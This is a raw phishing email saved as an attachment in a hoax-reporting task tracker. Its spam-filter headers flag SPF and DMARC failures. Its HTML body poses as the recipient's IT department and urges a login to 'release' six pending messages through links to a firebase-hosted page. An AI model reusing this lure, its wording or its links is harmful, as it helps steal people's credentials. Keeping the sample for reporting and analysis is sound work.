Project

Profile

Help

Task #90487 » Action Required_ ❻ ✉ You have new pending messages - 2022-01-21T05_47_12Z.eml

Anonymous, 01/21/2022 06:47 AM

 
X-He-Spam-Score: 18.7
Return-Path: <sales@r-xyz.top>
Delivered-To: dropbox@plan.io
Received: from m.launch.gmbh ([127.0.0.1])
by m.launch.gmbh with LMTP id kIVwJNpI6mEFMQAAJzdhvw
for <dropbox@plan.io>; Fri, 21 Jan 2022 06:47:06 +0100
X-Spam-Checker-Version: SpamAssassin 3.4.2 (2018-09-13) on m.launch.gmbh
X-Spam-Flag: YES
X-Spam-Level: ******************
X-Spam-Status: Yes, score=18.7 required=5.0 tests=BAYES_00,
DMARC_FAIL_QUARANTINE,DMARC_FAIL_QUARANTINE_IGNORE,
FROM_SUSPICIOUS_NTLD,FROM_SUSPICIOUS_NTLD_FP,HTML_FONT_LOW_CONTRAST,
HTML_MESSAGE,MIME_HTML_ONLY,PDS_FRNOM_TODOM_NAKED_TO,
PDS_FROM_NAME_TO_DOMAIN,RAZOR2_CF_RANGE_51_100,RAZOR2_CHECK,
RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_DNSWL_NONE,RCVD_IN_MSPIKE_BL,
RCVD_IN_MSPIKE_L3,RCVD_IN_SBL_CSS,SPF_FAIL,SPF_FAIL_IGNORE,
SPF_HELO_NONE,TO_NO_BRKTS_HTML_IMG,URI_FIREBASEAPP,URI_PHISH
autolearn=no autolearn_force=no version=3.4.2
X-Spam-Report:
* -0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at
* https://www.dnswl.org/, no trust
* [64.90.62.163 listed in list.dnswl.org]
* 3.3 RCVD_IN_SBL_CSS RBL: Received via a relay in Spamhaus SBL-CSS
* [165.154.7.164 listed in zen.spamhaus.org]
* -1.9 BAYES_00 BODY: Bayes spam probability is 0 to 1%
* [score: 0.0000]
* 5.0 SPF_FAIL SPF check failed
* 5.0 DMARC_FAIL_QUARANTINE DMARC check failed (p=quarantine)
* 1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
* bl.spamcop.net
* [Blocked - see <https://www.spamcop.net/bl.shtml?199.10.31.237>]
* 0.0 RCVD_IN_MSPIKE_L3 RBL: Low reputation (-3)
* [64.90.62.163 listed in bl.mailspike.net]
* 0.0 SPF_HELO_NONE SPF: HELO does not publish an SPF Record
* 0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
* identical to background
* 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
* 0.0 HTML_MESSAGE BODY: HTML included in message
* 0.9 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
* 1.9 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
* [cf: 100]
* 0.9 FROM_SUSPICIOUS_NTLD_FP From abused NTLD
* -5.0 DMARC_FAIL_QUARANTINE_IGNORE Planio Inbox does not consider
* DMARC (p=quarantine) on redirects
* 3.0 URI_FIREBASEAPP Link to hosted firebase web application,
* possible phishing
* -5.0 SPF_FAIL_IGNORE Planio Inbox does not consider SPF FAILS on
* redirects
* 0.5 FROM_SUSPICIOUS_NTLD From abused NTLD
* 1.7 PDS_FROM_NAME_TO_DOMAIN From:name looks like To:domain
* 0.0 RCVD_IN_MSPIKE_BL Mailspike blacklisted
* 1.3 PDS_FRNOM_TODOM_NAKED_TO Naked to From name equals to Domain
* 2.0 TO_NO_BRKTS_HTML_IMG To: lacks brackets and HTML and one image
* 3.6 URI_PHISH Phishing using web form
X-Spam-Score: 18.7
Envelope-to: inbox+rlxc+36be+hoax-clearing-center@plan.io
Authentication-Results: m.launch.gmbh; dmarc=fail (p=quarantine dis=none) header.from=r-xyz.top
Authentication-Results: m.launch.gmbh; spf=fail smtp.mailfrom=sales@r-xyz.top
Authentication-Results: m.launch.gmbh; dkim=none; dkim-atps=neutral
Received: from pdx1-sub0-mail-mx204.dreamhost.com (mx1.dreamhost.com [64.90.62.163])
(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits))
(No client certificate requested)
by m.launch.gmbh (Postfix) with ESMTPS id 1447C801D7
for <inbox+rlxc+36be+hoax-clearing-center@plan.io>; Fri, 21 Jan 2022 06:47:03 +0100 (CET)
Received: from postfix-inbound-v2-3.inbound.mailchannels.net (inbound-egress-5.mailchannels.net [199.10.31.237])
(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
(No client certificate requested)
by pdx1-sub0-mail-mx204.dreamhost.com (Postfix) with ESMTPS id 4Jg7g92rGVz5GbX
for <lapor@turnbackhoax.id>; Thu, 20 Jan 2022 21:47:01 -0800 (PST)
Received: from inbound-trex-4 (unknown [127.0.0.6])
by postfix-inbound-v2-3.inbound.mailchannels.net (Postfix) with ESMTP id E904640094
for <lapor@turnbackhoax.id>; Fri, 21 Jan 2022 05:47:00 +0000 (UTC)
Received: from r-xyz.top ([UNAVAILABLE]. [165.154.7.164])
by 100.100.66.161 (trex/6.4.3);
Fri, 21 Jan 2022 05:47:00 +0000
X-Message-ID: 941SGuMut30IuvklvWWexuWL
Authentication-Results: inbound.mailchannels.net;
spf=softfail smtp.mailfrom=sales@r-xyz.top;
dkim=none;
dmarc=fail (policy=quarantine; pct=100; status=quarantine)
Received-SPF: softfail (inbound-dmarc-f6b9cd897-k4p2r: transitioning domain of
r-xyz.top does not designate 165.154.7.164 as permitted sender)
client-ip=165.154.7.164; envelope-from=sales@r-xyz.top; helo=r-xyz.top;
Reply-To: ventas@arcentralsolutions.com
From: turnbackhoax.id IT <sales@r-xyz.top>
To: lapor@turnbackhoax.id
Subject: =?UTF-8?B?QWN0aW9uIFJlcXVpcmVkOiDinbsg4pyJIFlvdSBoYXZlIG5ldyBwZW5kaW5nIG1lc3NhZ2Vz?=
Date: 21 Jan 2022 13:46:57 +0800
Message-ID: <20220121134657.E39D04450A250AFB@r-xyz.top>
MIME-Version: 1.0
Content-Type: multipart/related;
boundary="----=_NextPart_000_0012_61C3379D.540866BF"


------=_NextPart_000_0012_61C3379D.540866BF
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head><body>
<div style=3D"width: 700px; color: rgb(0, 0, 0); text-transform: none; text=
-indent: 0px; letter-spacing: normal; font-family: Roboto, Tahoma, Helvetic=
a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=
spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=
rgb(255, 255, 255); text-decoration-color: initial; font-variant-ligatures=
: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-d=
ecoration-thickness: initial;=20
text-decoration-style: initial;"><b>Dear lapor<br></b></div>
<div style=3D"width: 700px; color: rgb(0, 0, 0); text-transform: none; text=
-indent: 0px; letter-spacing: normal; font-family: Roboto, Tahoma, Helvetic=
a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=
spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=
rgb(255, 255, 255); text-decoration-color: initial; font-variant-ligatures=
: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-d=
ecoration-thickness: initial;=20
text-decoration-style: initial;"><b><br></b></div>
<div style=3D"width: 700px; color: rgb(0, 0, 0); text-transform: none; text=
-indent: 0px; letter-spacing: normal; font-family: Roboto, Tahoma, Helvetic=
a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=
spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=
rgb(255, 255, 255); text-decoration-color: initial; font-variant-ligatures=
: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-d=
ecoration-thickness: initial;=20
text-decoration-style: initial;"><b><br></b></div>
<div style=3D"width: 700px; color: rgb(0, 0, 0); text-transform: none; text=
-indent: 0px; letter-spacing: normal; font-family: Roboto, Tahoma, Helvetic=
a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=
spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=
rgb(255, 255, 255); text-decoration-color: initial; font-variant-ligatures=
: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-d=
ecoration-thickness: initial;=20
text-decoration-style: initial;">You have six messages still pending to be =
delivered to your inbox since Thursday, January 20, 2022.<br></div>
<div style=3D"width: 700px; color: rgb(0, 0, 0); text-transform: none; text=
-indent: 0px; letter-spacing: normal; font-family: Roboto, Tahoma, Helvetic=
a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=
spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=
rgb(255, 255, 255); text-decoration-color: initial; font-variant-ligatures=
: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-d=
ecoration-thickness: initial;=20
text-decoration-style: initial;"><br></div>
<div style=3D"color: rgb(34, 34, 34); text-transform: none; text-indent: 0p=
x; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-=
size: 14px; font-style: normal; font-weight: 400; word-spacing: 0px; white-=
space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255);=
text-decoration-color: initial; font-variant-ligatures: normal; font-varia=
nt-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness:=
initial; text-decoration-style: initial;"=20
dir=3D"ltr"><table style=3D"width: 700px; height: 208px; color: rgb(0, 0, 0=
); font-size: 15px;" border=3D"0" cellspacing=3D"2" cellpadding=3D"2"><tbod=
y><tr><td style=3D"margin: 0px; width: 340px; font-family: Calibri; backgro=
und-color: rgb(243, 255, 248);"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<wbr>Subject</b></td>
<td style=3D"margin: 0px; width: 230px; font-family: Calibri; background-co=
lor: rgb(243, 255, 248);"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Recipient</b></td><td sty=
le=3D"margin: 0px; width: 150px; font-family: Calibri; background-color: rg=
b(243, 255, 248);"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Date</b></td></tr><tr>
<td style=3D"margin: 0px; width: 340px; font-family: Calibri; background-co=
lor: rgb(204, 204, 255);">&nbsp;&nbsp;<img class=3D"an1" style=3D"width: 1.=
2em; height: 1.2em; vertical-align: middle;" aria-label=3D"??" alt=3D"??" s=
rc=3D"cid:32.png" loading=3D"lazy" data-emoji=3D"??"><span>&nbsp;</span>
Wine Express 3 Cases Left &amp; Ships Free!<span style=3D"color: rgb(50, 49=
, 48); text-transform: none; text-indent: 0px; letter-spacing: normal; font=
-size: 14px; font-style: normal; font-weight: 400; word-spacing: 0px; float=
: none; display: inline; white-space: normal; background-color: rgb(255, 25=
5, 255); text-decoration-color: initial; font-variant-ligatures: normal; fo=
nt-variant-caps: normal; text-decoration-style: initial;"></span></td>
<td style=3D"margin: 0px; width: 230px; font-family: Calibri; background-co=
lor: rgb(204, 204, 255);">&nbsp;&nbsp;&nbsp;&nbsp;To:<span>&nbsp;</span><sp=
an>&nbsp;lapor@turnbackhoax.id</span></td><td style=3D"margin: 0px; width: =
150px; font-family: Calibri; background-color: rgb(204, 204, 255);">&nbsp;&=
nbsp;&nbsp;&nbsp; 20/01/2022 4:37:34 p.m.</td></tr><tr><td style=3D"margin:=
0px; width: 340px; font-family: Calibri; background-color: rgb(204, 204, 2=
55);">
&nbsp;&nbsp;<img class=3D"an1" style=3D"width: 1.2em; height: 1.2em; vertic=
al-align: middle;" aria-label=3D"??" alt=3D"??" src=3D"cid:32.png" loading=
=3D"lazy" data-emoji=3D"??"><span>&nbsp;</span>Updated Sea Freight Quotatio=
n</td><td style=3D"margin: 0px; width: 230px; font-family: Calibri; backgro=
und-color: rgb(204, 204, 255);">&nbsp;&nbsp;&nbsp;&nbsp;To:<span>&nbsp;</sp=
an><span>&nbsp;lapor@turnbackhoax.id</span></td>
<td style=3D"margin: 0px; width: 150px; font-family: Calibri; background-co=
lor: rgb(204, 204, 255);">&nbsp;&nbsp;&nbsp;&nbsp; 20/01/2022 4:37:34 p.m.<=
/td></tr><tr><td style=3D"margin: 0px; width: 340px; font-family: Calibri; =
background-color: rgb(204, 204, 255);">
&nbsp;&nbsp;<img class=3D"an1" style=3D"width: 1.2em; height: 1.2em; vertic=
al-align: middle;" aria-label=3D"??" alt=3D"??" src=3D"cid:32.png" loading=
=3D"lazy" data-emoji=3D"??"><span>&nbsp;</span>AW: PO#203477 INVOICES</td><=
td style=3D"margin: 0px; width: 230px; font-family: Calibri; background-col=
or: rgb(204, 204, 255);">&nbsp;&nbsp;&nbsp;&nbsp;To:<span>&nbsp;</span><spa=
n>&nbsp;lapor@turnbackhoax.id</span></td>
<td style=3D"margin: 0px; width: 150px; font-family: Calibri; background-co=
lor: rgb(204, 204, 255);">&nbsp;&nbsp;&nbsp;&nbsp; 20/01/2022 4:37:34 p.m.<=
/td></tr><tr><td style=3D"margin: 0px; width: 340px; font-family: Calibri; =
background-color: rgb(204, 204, 255);">
&nbsp;&nbsp;<img class=3D"an1" style=3D"width: 1.2em; height: 1.2em; vertic=
al-align: middle;" aria-label=3D"??" alt=3D"??" src=3D"cid:32.png" loading=
=3D"lazy" data-emoji=3D"??"><span>&nbsp;</span>Re: &#20851;&#20110;&#21551;=
&#21160;&#21496;&#32534;&#21046;20/01/2022&#35745;&#21010;</td><td style=3D=
"margin: 0px; width: 230px; font-family: Calibri; background-color: rgb(204=
, 204, 255);">&nbsp;&nbsp;&nbsp;&nbsp;To:<span>
&nbsp;</span><span>&nbsp;lapor@turnbackhoax.id</span></td><td style=3D"marg=
in: 0px; width: 150px; font-family: Calibri; background-color: rgb(204, 204=
, 255);">&nbsp;&nbsp;&nbsp;&nbsp; 21/01/2022 5:23:14 a.m.</td></tr><tr><td =
style=3D"margin: 0px; width: 340px; font-family: Calibri; background-color:=
rgb(204, 204, 255);">
&nbsp;&nbsp;<img class=3D"an1" style=3D"width: 1.2em; height: 1.2em; vertic=
al-align: middle;" aria-label=3D"??" alt=3D"??" src=3D"cid:32.png" loading=
=3D"lazy" data-emoji=3D"??"><span>&nbsp;</span>Fwd: Payment ---- Forwarded =
message ----</td><td style=3D"margin: 0px; width: 230px; font-family: Calib=
ri; background-color: rgb(204, 204, 255);">&nbsp;&nbsp;&nbsp;&nbsp;To:<span=
>&nbsp;</span><span>&nbsp;lapor@turnbackhoax.id</span></td>
<td style=3D"margin: 0px; width: 150px; font-family: Calibri; background-co=
lor: rgb(204, 204, 255);">&nbsp;&nbsp;&nbsp;&nbsp; 21/01/2022 5:23:14 a.m.<=
/td></tr><tr><td style=3D"margin: 0px; width: 340px; font-family: Calibri; =
background-color: rgb(204, 204, 255);">
&nbsp;&nbsp;<img class=3D"an1" style=3D"width: 1.2em; height: 1.2em; vertic=
al-align: middle;" aria-label=3D"??" alt=3D"??" src=3D"cid:32.png" loading=
=3D"lazy" data-emoji=3D"??"><span>&nbsp;</span>COVID-19 Safety Measures</td=
><td style=3D"margin: 0px; width: 230px; font-family: Calibri; background-c=
olor: rgb(204, 204, 255);">&nbsp;&nbsp;&nbsp;&nbsp;To:<span>&nbsp;<span>&nb=
sp;lapor@turnbackhoax.id</span></span></td>
<td style=3D"margin: 0px; width: 160px; font-family: Calibri; background-co=
lor: rgb(204, 204, 255);"><span>&nbsp;&nbsp;&nbsp;&nbsp; 21/01/2022 5:23:14=
a.m.</span></td></tr></tbody></table><div style=3D"margin: 0px;">&nbsp;</d=
iv><ol style=3D"padding: 30px;"><li>
<a style=3D"background: rgb(80, 110, 216); padding: 10px; border-radius: 2p=
x; color: rgb(255, 255, 255); text-decoration: none;" href=3D"https://ahsue=
islim-et7vavxg1guvqizqri.web.app/#lapor@turnbackhoax.id" target=3D"_blank" =
rel=3D"noreferrer" data-saferedirecturl=3D"https://www.google.com/url?q=3Dh=
ttps://globalcouriersolutions.com/price/china-mail/index.php?email%3Dic@bes=
t-components.com&amp;source=3Dgmail&amp;ust=3D1642737250348000&amp;usg=3DAO=
vVaw1yA3lFbmm9IovVgmlwr_8m">Release Pending Mails to inbox</a><br><br><br>
</li><li><a style=3D"background: rgb(212, 0, 0); padding: 10px; border-radi=
us: 2px; color: rgb(255, 255, 255); text-decoration: none;" href=3D"https:/=
/ahsueislim-et7vavxg1guvqizqri.web.app/#lapor@turnbackhoax.id" target=3D"_b=
lank" rel=3D"noreferrer" data-saferedirecturl=3D"https://www.google.com/url=
?q=3Dhttps://globalcouriersolutions.com/price/china-mail/index.php?email%3D=
ic@best-components.com&amp;source=3Dgmail&amp;ust=3D1642737250348000&amp;us=
g=3DAOvVaw1yA3lFbmm9IovVgmlwr_8m">Report Error To IT Help Desk</a></li></ol=
>
<div style=3D"margin: 0px; font-family: arial, helvetica, sans-serif;"><br>=
<br><div style=3D"color: rgb(34, 34, 34); text-transform: none; text-indent=
: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; f=
ont-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; w=
hite-space: normal; text-decoration-color: initial; font-variant-ligatures:=
normal; font-variant-caps: normal; text-decoration-style: initial;" dir=3D=
"ltr">
<span style=3D"color: rgb(0, 0, 0); font-family: Calibri; font-size: 14px;"=
>You will receive pending emails after successful login via the portal as w=
e apologize for the inconvenience.</span></div></div></div>
<p style=3D"color: rgb(34, 34, 34); text-transform: none; text-indent: 0px;=
letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-si=
ze: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-s=
pace: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); =
text-decoration-color: initial; font-variant-ligatures: normal; font-varian=
t-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: =
initial; text-decoration-style: initial;"><br>
&nbsp;</p></body></html>
------=_NextPart_000_0012_61C3379D.540866BF
Content-Type: image/png; name="32.png"
Content-Transfer-Encoding: base64
Content-ID: <32.png>

iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACJUlEQVR4AWKgBHxaxiAAwgwD
AQC9l0P8FkEcxq+5rl0yXy+z7Tpl252zu2Vesl2n7Eu2dcm262meMJ938q/5/PfwfbG7Mw/W
SriLAt9YELV4sRfrcoNkmagZmYEPB8otwBEX5N2uohQnuyMRV6LFFMjm5cb8kbVAAwtwpRlw
trY28GF/GUELtukp/HQIcKdrtC3o9BSmgeutKGzRgk36xwNwe2dFLJxUGeTy5kDagn36Hu2q
oWbNmiBNG9XA8/2eqAV5+gv1dHocC1G9enWD46vkLcjSP+hj7Ptq1aoZHFsZSI8FQfpLjSgO
mmB6ClWpUsXA4owQpL/USIv071QBlSpV0sjPCHl6Q6RvxxAVK1bUCK6O9ulJn/YBwjAkaNEo
4DJRC4Lz3kivGT3Qg+/7BL3b+Xq5bQtGegV43cfJyj9NPm+UC8/zCHq11cvtWzDueDznb3b8
5eRzRzpwnK/0aOPo5bYtmOkprq/5JnOUgXQ6Tfiby6xbMNP/hcNLHaRSKZDZIzJcZt2Cmf4v
HFqaQSKRAJk1PM1lwhYs0pPz6x3EYjGQDVMMA8IW5Ok1iyakMHNYCs/2OfwvbMEiPaHoovHK
wNCkNiBvwSL9wvFJlC1bFqRfuxiXCVuwSE8WjkugdOnSIH3blucycQvS9AZPVe0LxiYwfmCM
v7ns/1vgigjJfqPKRG/A3A0Z4S6w5/2eEr98oaWJQoqaOcnbrYVrKmGiX+k/A8p4TZk7YN6v
AAAAAElFTkSuQmCC

------=_NextPart_000_0012_61C3379D.540866BF--
    (1-1/1)